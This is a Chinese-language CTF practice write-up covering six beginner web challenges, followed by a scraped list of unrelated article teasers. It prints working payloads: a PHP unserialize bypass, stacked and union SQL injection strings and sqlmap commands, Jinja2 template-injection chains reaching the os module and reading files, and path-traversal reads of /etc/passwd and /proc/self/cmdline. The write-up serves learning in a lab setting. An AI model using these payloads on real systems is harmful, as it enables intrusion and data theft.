攻防世界题目练习——Web引导模式(二)

题目目录

    • 1. Web_php_unserialize
    • 2. supersqli
    • 3. web2
    • 4. NewsCenter
    • 5. Web_python_template_injection
    • 6. catcat-new

1. Web_php_unserialize

题目源码:

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

首先要知道,在进行反序列化时,使用 unserialize() 反序列化会先调用 __wakeup()函数,PHP文件在执行结束的时候会将对象销毁,也就是调用__destruct()函数。
看源码可以知道,__wakeup()函数会强制将文件名转为index.php,因此我们需要绕过__wakeup()函数,接下来执行的__destruct()函数会输出对应文件的内容,我们需要让文件名显示为我们要查看的文件。
后面的if语句对传递的参数$var进行匹配判断,根据正则表达式的语法规则:
正则表达式 – 语法 | 菜鸟教程
/ 为定界符,每段正则表达式必须要有一对定界符
使用了 i 修正符,因此会不区分大小写去匹配
定界符中间的内容,没有用|隔开,匹配的是这一个类型格式的表达式:
[oc]匹配任何包含小写字母o,c的字符串,包含一个即可
\d匹配任何包含数字字符
+号代表前面的字符必须至少出现一次(1次或多次),在本例中,应该是表示至少有一个数字,也就是一位数以上
综上,匹配的是类似于O:1:的字符串,也就是对序列化后的格式的字符串进行了匹配过滤,不允许传递这样格式的参数,否则报错,因此我们要对这个过滤用字符进行绕过。
因此我的想法是考虑和冒号之间用\''将它们分隔一下来绕过。
绕过wakeup函数的话,当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()
先写个序列化的脚本:

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }
}$a=new Demo('fl4g.php');
$b=serialize($a);
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
echo $b;
echo ("\n");
echo base64_encode($b);
?>
//输出结果:
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

要绕过__wakeup()函数,就将Demo后的1改为2
绕过正则匹配,看到别人的题解里都是用+绕过,也没人说为什么,用引号和反斜杠绕过都不行。
在这里插入图片描述
参考博客:
攻防世界web进阶区Web_php_unserialize,序列化大详解

2. supersqli

题目:随便注
就是一道sql注入题
单引号注入:
id=’
出现报错:
在这里插入图片描述
尝试联合注入,发现存在过滤:
在这里插入图片描述
因此需要绕过过滤。
试过url编码和注释符/**/,都不太行,不知道怎么做。

用sqlmap爆破,命令及执行结果如下:

#获取数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --dbs

在这里插入图片描述

#查看当前使用的数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --current-db

在这里插入图片描述

#列出指定数据库的所有表
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" -D "supersqli" --tables

报错说没有表
在这里插入图片描述
尝试了一些都失败了,对sql注入原理了解得看来还是不太清楚,还是去看看别人的解析吧TAT。
参考博客:
攻防世界之supersqli
我也尝试过用order by,博客里用#注释,可是我后面用–+注释就不行,为什么啊!!
对sql注入的引号判断还是不太了解,再学习一下吧。
参考博客:
SQL注入攻击大全
单引号、双引号、字符型判断:
输入1',如果报错为''1''',最外侧一对单引号是MYSQL错误信息包含的引号,那么实际的报错部分就是'1'',1后面的单引号是多余的,因此触发报错,就可以判断我们输入的参数就是单引号闭合的形式。
输入1",如果报错为'"1""',而输入1'不会报错,则可以判断是双引号闭合
输入2-1,如果能正常显示id=1时的内容,则判断为数字型。
在本题中,我们可以试验看到:
inject=2-1时,页面显示的是inject=2的内容
在这里插入图片描述
因此可以判断不是数字型,结合前面inject='时的报错显示,可以判断本题是单引号闭合。

关于注释符:
参考博客:
SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master
一般来说--注释符后面必须要有空格,但是get传参时空格会被忽略,因此通常采用--+来闭合,因为+会被解释为空格。
这一知识好像也解释了关于我构造的参数的空格在url中为什么会显示为+的问题:
在这里插入图片描述
在上面的图片中,+号被url编码为%2B,没有被当作空格,于是我们在--+之间加一个空格试试:
在这里插入图片描述
发现可以出现列数的报错,并且--+(%2B)之间的空格在url中被替换为+,那我们再试试直接在--后面加上空格,发现居然可以被正确替换为+
在这里插入图片描述
这下我已经完全理解了!
那接下来就开始正常的注入流程吧。
发现我对sql注入的流程理解也一般,根据参考博客了解到一般注入流程为:
1、判断闭合符:单引号闭合、双引号闭合、数字型
2、判断列数:用order by 4(根据第4列/字段排序)或者union select 1,2,3,4(选择出1,2,3,4列出来),如果报错说第4列不存在等,证明列数<4;如果正常显示查询结果,则首条查询语句包含4个字段。
3、查询数据库名?id=-1' union select 1,database(),1--+注意id=-1,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。(soga,原来如此)
4、查表名
5、查列名
6、查数据(4、5、6都要用id=-1)
在这里插入图片描述
在本题中,select被过滤掉了,因此不能用union select来查询,看到本题的参考博客里使用了堆叠注入,并且学到了用show databases的语句来查看的方式。(知识++)
堆叠注入参考博客:
sql注入之堆叠注入
下面就是解题过程了:

-1';show databases;#

在这里插入图片描述

-1';use supersqli;show tables;#

在这里插入图片描述

-1';use supersqli;show columns from `1919810931114514`;#
#当纯数字字符串是表名的时候需要加反引号`

在这里插入图片描述
接下来就是从表1919810931114514中查询flag
但是

select flag from `1919810931114514`

是行不通的,因为select被过滤了。
最简单的方法是使用handler查询法
参考博客:
MYSQL神秘的HANDLER命令与实现方法
不想仔细看,只学了一下解题博客攻防世界之supersqli里的使用,

-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

然后是用的比较多的把存放flag的数字表名改成words,再把列名flag改成id,属于修改原查询法
通过handler方法我们可以看到words表里的内容,可以看到第一列就是我们查询1的时候的结果,也就是说,这个网页在查询数据库时,应该是默认的查询的表名为"words",查询的列名为"id",所以我们把flag所在的表名改成words,列名改成id,就可以在网页查询1时获得flag。
了解一下修改列名的格式:

语句:alter table + seat + change column    +seatid  + seat_id + int;
格式:alter table 表名 change column 旧列名 新列名  新列名格式;

参考博客:
【技巧】SQL中修改列名(column)
在本题中,先将原words表名修改成其他的名字,再将1919810931114514改成words,然后修改列名:

-1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);#

此时如果直接查询1,是没有结果回显的,因为现在的flag列里没有值为1的内容,我们用1' or 1#永真条件来显示表中的所有行来获取flag。
在这里插入图片描述
还有一种预编译绕过法:

-1';
set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;#

看看就好,我不想学了,详细内容参考解题博客:)。

3. web2

打开网页看到源码:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){$_o=strrev($str);// echo $_o;//strrev() 函数反转字符串。就是把字符串每个字符顺序完全反过来输出for($_0=0;$_0<strlen($_o);$_0++){$_c=substr($_o,$_0,1);//substr() 函数返回字符串的一部分。在字符串$_o中从$_0位置开始返回1长度的字符串。$__=ord($_c)+1;$_c=chr($__);$_=$_.$_c;   } return str_rot13(strrev(base64_encode($_)));
}highlight_file(__FILE__);
/*逆向加密算法,解密$miwen就是flag
*/
?>

照着逆向加密的顺序解密。
rot13加密算法是对称的,加密一次是将字符前移或后移13位,而在加密一次则是将其前移或后移26位,就完全回到了原来的位置上,相当于解密。
解密脚本如下:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){$_o=base64_decode(strrev(str_rot13($str)));echo($_o);echo("\n");//运行结果://~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg$_ = '';for($_0=0;$_0<strlen($_o);$_0++){$_c=substr($_o,$_0,1);$__=ord($_c)-1;$_c=chr($__);$_=$_.$_c;}return strrev($_);
}
$mingwen=decode($miwen);
echo($mingwen);
//运行结果:
//flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
?>

这题感觉和web关系不大,建议放到密码学类里。

4. NewsCenter

打开网页如下:
在这里插入图片描述
什么都点不动,只有搜索框能用,抓包看了一下是post方式提交的参数,参数名是search。
在这里插入图片描述
猜一下可能是sql注入的题,搜索框输入',返回空白页面,可能是报错页面,又尝试1' or 1=1 -- ,发现返回了全部的news信息,应该是成功构造了永真条件返回了表中的所有行。有了上面supersqli题的经验,我们可以判断这是一个单引号闭合的查询,并且由于是post方式提交参数,--后面的空格可以被成功读取。
于是接下来判断列数:

//尝试:
1' order by 3 --
//页面正常返回,搜索结果为空
//尝试:
1' order by 4 -- 
//返回空页面

因此判断有3列。

接下来用联合注入尝试爆数据库:

-1' union select 1,database(),3 -- 

在这里插入图片描述
可以看到当前数据库为news。
使用group_concat()函数可以爆出所有数据库名:

-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata -- 

在这里插入图片描述
继续使用group_concat()函数可以爆出当前数据库所有表名:

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news' -- 

在这里插入图片描述
看到有个scret_table很可疑,查看这个表的所有列:

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' -- 

在这里插入图片描述
可以看到有fl4g,于是查看fl4g:

-1' union select 1,group_concat(fl4g),3 from secret_table -- 

在这里插入图片描述

5. Web_python_template_injection

毫无头绪,搜了一下template的意思是模板,这个题目是模板注入,没见过。
放几篇参考博客:
攻防世界-Web_python_template_injection详解
从零学习flask模板注入 - FreeBuf网络安全行业门户

{{}}是变量包裹标识符,既可以传递变量,还可以执行一些简单的表达式。

模板注入的基本原理:如果用户输入作为模板当中变量 的值,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击,代码输入会原样输出;如果用户输入作为了模板内容的一部分,用户输入会原样输出,如果是代码脚本则会被执行。内容参考:
SSTI(模板注入)基础总结 - 简书

首先测试是否存在模板注入漏洞:
用最简单的表达式,判断是否会被执行:

url/{{2*7}}

在这里插入图片描述
看到显示了2*7的结果,说明存在模板注入。

然后是查看当前配置的全局变量,暂时没看明白这个步骤有什么用:

url/{{config}}

在这里插入图片描述
然后了解一下几个魔术方法的作用:
通过这些魔术方法的调用来执行命令:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

首先是查看可用的引用
我就不管为什么是__mro__[2]了,当作默认的记住吧。

url/{{''.__class__.__mro__[2].__subclasses__()}}
//最前面的''应该也可以换成()或者[]

在这里插入图片描述
如上图,可以看到有一个type ‘file’,可以进行文件读取,位于从0开始数的第40号位置,因此,对于该类型的引用如下:

url/{{ [].__class__.__base__.__subclasses__()[40]('想读取的文件名').read() }}

接下来再查找可以用来执行命令的引用,我们需要用这样的引用来找到存有flag的文件在哪里以及文件名是什么。这些博客都说的是查找含有’os’模块的引用:
有一篇博客写了个脚本找到第71号引用(看名字感觉 )是可以用来进行命令执行打印结果的:

<class 'site._Printer'>
url/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
//不知道为什么最后面换成system('ls')用不了

在这里插入图片描述
看到有fl4g文件正好在当前目录下,于是查看读取:

url/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

6. catcat-new

尝试了sql注入和文件包含命令,没有什么头绪,搜搜别人的解析吧:)
参考博客:
攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园
确实是文件包含漏洞,但是我的思路不对,一开始上来就用伪协议,返回的只有错误页面。
参考博客里一开始都是用?file=…/…/…/…/etc/passwd查看敏感文件。
在这里插入图片描述
从这篇博客里学到了读取当前进程的命令行参数?file=../../../../proc/self/cmdline,没见过,第一次见,神奇,但感觉可能记不住。
在这里插入图片描述
有一个通过python启动app.py的命令,所以该网站是一个python框架,且是flask框架,因为app.py文件常常为flask项目结构中的主程序文件。于是读取app.py文件查看文件内容。
在这里插入图片描述
将换行符与单引号去转义输出。
我用的网站:在线字符串转义—LZL在线工具

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import catflag = ""
app = Flask(__name__,static_url_path='/', static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):flag = cat("/flag")#出现关键词flagos.remove("/flag")@app.route('/', methods=['GET'])
def index():detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:#需要session为admin才能获得flagreturn flagelse:session['admin'] = 0return "NoNoNo"if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5637)

不想看了,看不懂,就先这样吧,跟着博客园做就能拿到flag,但是我不想努力了:)

——————————————————————————————————-————
先到这里吧,这些就是难度2的全部内容了,本篇还是有点长,接下来转到第(三)part

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/103634.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FPGA project : flash_read

实验目标&#xff1a; flash的普通读指令&#xff0c;在指定地址开始读。可以更改地址与读的数据个数。 先发送读指令扇区地址页地址字节地址。 然后读数据。再把读到的串行数据转化为8bit的数据&#xff0c;存入fifo。 然后读出FIFO中数据&#xff0c;通过uart_tx模块发送…

Redis分布式锁最牛逼的实现(Java 版,最牛逼的实现方式)

写在前面的话 分布式锁一般有三种实现方式&#xff1a;1. 数据库乐观锁&#xff1b;2. 基于Redis的分布式锁&#xff1b;3. 基于ZooKeeper的分布式锁。 本篇博客将介绍第二种方式&#xff0c;基于Redis实现分布式锁。 为什么需要分布式锁&#xff1f; 在单机环境下编写多线…

【使用 TensorFlow 2】03/3 创建自定义损失函数

一、说明 TensorFlow 2发布已经接近5年时间&#xff0c;不仅继承了Keras快速上手和易于使用的特性&#xff0c;同时还扩展了原有Keras所不支持的分布式训练的特性。3大设计原则&#xff1a;简化概念&#xff0c;海纳百川&#xff0c;构建生态.这是本系列的第三部分&#xff0c;…

Python数据挖掘项目实战——自动售货机销售数据分析

摘要&#xff1a;本案例将主要结合自动售货机的实际情况&#xff0c;对销售的历史数据进行处理&#xff0c;利用pyecharts库、Matplotlib库进行可视化分析&#xff0c;并对未来4周商品的销售额进行预测&#xff0c;从而为企业制定相应的自动售货机市场需求分析及销售建议提供参…

2、vscode c++ 项目配置调试及运行

文章目录 1、项目布局2、多项目管理2.1 先是一个总的CMakeLists.txt2.2 每个项目2.3 多版本OPENCV 3、调试和运行 接上一篇文章&#xff0c;vscode和cmake的c环境配置好以后&#xff0c;我们要写项目&#xff0c;再写对应的CMakeLists.txt 1、项目布局 . ├── bin ├── bu…

jmeter实现webservice接口测试

其实可以用jmeter两种sampler进行webservice的测试&#xff1a; 1、SOAP/XML-RPC Request(但是在jmeter3.2以后版本中已经取消了这个取样器) 2、HTTP请求 下面分别介绍两种方式 一、首先需要使用soupUI工具抓取webservice接口的部分需要的信息。 1、新建项目 2、新建成功的…

怎么修改linux的root@后面的名称

文章目录 场景.登录服务器,root后面的名称是随机的,想自定义名称建议,直接使用命令执行需要重启机子 场景.登录服务器,root后面的名称是随机的,想自定义名称 建议,直接使用命令执行 hostnamectl set-hostname rdd-test重新连接即可生效,实际也是修改了/etc/hostname名称 需要…

十三、前端开发知识快速入门

目录 一、HTML概述和基本结构1.1 概述1.2 基本结构1.3 html文档类型1.4 html注释 二、HTML常用标签2.1 块标签2.2 行内标签2.3 字符实体2.4 图片标签2.5 链接标签2.6 列表标签2.7 表单2.8 表格 三、页面布局四、CSS样式4.1 基本语法和页面引用4.2 文本样式设置4.3 颜色表示法4.…

中国陆地生态系统服务价值空间分布数据集

简介&#xff1a; 中国陆地生态系统服务价值空间分布产品是以全国陆地生态系统类型遥感分类为基础&#xff0c;生态系统类型包括&#xff1a;旱地、农田、针叶林、针阔混交林、阔叶林、灌木林、草原、灌草丛、草甸、湿地、荒漠、裸地、水系、冰川积雪、人工表面&#xff08;包…

B端产品需求分析的思路和方法 4大方面

需求分析对产品成功和客户满意度至关重要&#xff0c;它帮助团队深入了解用户需求&#xff0c;优化用户体验&#xff0c;减少开发中的需求变更&#xff0c;降低开发风险。如果缺乏产品分析&#xff0c;容易造成产品定位不准确&#xff0c;用户体验不佳&#xff0c;不能满足用户…

迷你Ceph集群搭建(超低配设备)

我的博客原文链接&#xff1a;https://blog.gcc.ac.cn/post/2023/%E8%BF%B7%E4%BD%A0ceph%E9%9B%86%E7%BE%A4%E6%90%AD%E5%BB%BA/ 环境 机器列表&#xff1a; IP角色说明10.0.0.15osdARMv7&#xff0c;512M内存&#xff0c;32G存储&#xff0c;百兆网口10.0.0.16clientARM64…

【C语言】atoi函数的模拟

atoi对于初学者来说大概率是一个陌生的函数 但不要害怕&#xff0c;我们可以通过各种网站去查询 例如&#xff1a; cplusplus就是一个很好的查询网站 目录 函数介绍模拟实现需要注意的点 函数介绍 我们发现这是一个将字符串转换为整形数字的函数 例如&#xff1a; int main()…

C++类和对象(下)

目录 一、初始化列表 二、单参构造参数和explicit关键字 三、匿名对象 四、static成员 五、友元 六、内部类 一、初始化列表 之前我们在构造函数中写得还不错&#xff0c;也没发现什么问题&#xff0c;为什么C还有搞一个初始化列表呢&#xff1f; 如下这段代码&#x…

FPGA project : sobel

实验目标&#xff1a; sobel算法&#xff0c;处理100X100灰度图像&#xff1a;野火logo 边缘检测&#xff1a; 边缘检测&#xff0c;针对的是灰度图像&#xff0c;顾名思义&#xff0c;检测图像的边缘&#xff0c;是针对图像像素点的一种计算&#xff0c;目的是标识数字图像…

vue3学习(二)--- ref和reactive

文章目录 ref1.1 ref将基础类型和对象类型数据转为响应式1.2 ref()获取id元素1.3 isRef reactive1.1 reactive()将引用类型数据转为响应式数据&#xff0c;基本类型无效1.2 ref和reactive的联系 toRef 和 toRefs1.1 如果原始对象是非响应式的就不会更新视图 数据是会变的 ref …

点燃市场热情,让产品风靡全球——实用推广策略大揭秘!

文章目录 一、实用推广策略的重要性1. 提高产品知名度和认可度2. 拓展产品市场和用户群体3. 增强企业品牌形象和市场竞争力 二、实用推广策略的种类1. 社交媒体推广2. 定向推广3. 口碑营销4. 内容推广 三、实用推广策略的实施步骤1. 研究目标用户和市场需求&#xff0c;明确产品…

大数据NoSQL数据库HBase集群部署

目录 1. 简介 2. 安装 1. HBase依赖Zookeeper、JDK、Hadoop&#xff08;HDFS&#xff09;&#xff0c;请确保已经完成前面 2. 【node1执行】下载HBase安装包 3. 【node1执行】&#xff0c;修改配置文件&#xff0c;修改conf/hbase-env.sh文件 4. 【node1执行】&#xf…

第14章总结:lambda表达式与处理

14.1&#xff1a; lambada表达式 14.1.1&#xff1a;lambada表达式简介 无参数 package fourteen; interface SayhHi{ String say();//抽象方法接口 } public class NoParamDemo { public static void main(String[] args) { //无参数 …

【AI视野·今日Robot 机器人论文速览 第五十二期】Wed, 11 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Wed, 11 Oct 2023 Totally 31 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers RoboHive: A Unified Framework for Robot Learning Authors Vikash Kumar, Rutav Shah, Gaoyue Zhou, Vincent Moens, Vittor…

SAP MM学习笔记35 - 请求书照合中的差额处理(发票扣减,受入)

SAP中&#xff0c;请求书照合之后&#xff0c;发现不一致&#xff0c;就会支付保留。 支付保留&#xff0c;可以参考如下文章。 SAP MM学习笔记34 - 请求书照合中的支付保留&#xff08;发票冻结&#xff09;_东京老树根的博客-CSDN博客 即使支付保留之后暂时不付钱&#xff…